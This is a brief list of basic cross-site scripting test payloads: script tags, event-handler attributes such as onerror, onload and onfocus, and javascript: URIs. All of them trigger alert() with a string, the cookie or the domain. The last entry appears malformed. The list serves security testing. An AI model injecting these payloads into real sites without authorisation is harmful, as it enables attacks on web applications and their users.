# Common XSS Payloads
# Basic cross-site scripting payloads for testing

<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert('XSS')>
<img src=x onerror=alert(document.cookie)>
<svg onload=alert('XSS')>
<svg onload=alert(document.cookie)>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<input autofocus onfocus=alert('XSS')>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>
<video><source onerror=alert('XSS')>
<audio><source onerror=alert('XSS')>
<body onscroll=alert('XSS')><br><br><br><br><br><br><br><br><br><br><br><h1>Scroll down</h1>
SELECT[value=""][onfocus=alert(1)] autofocus
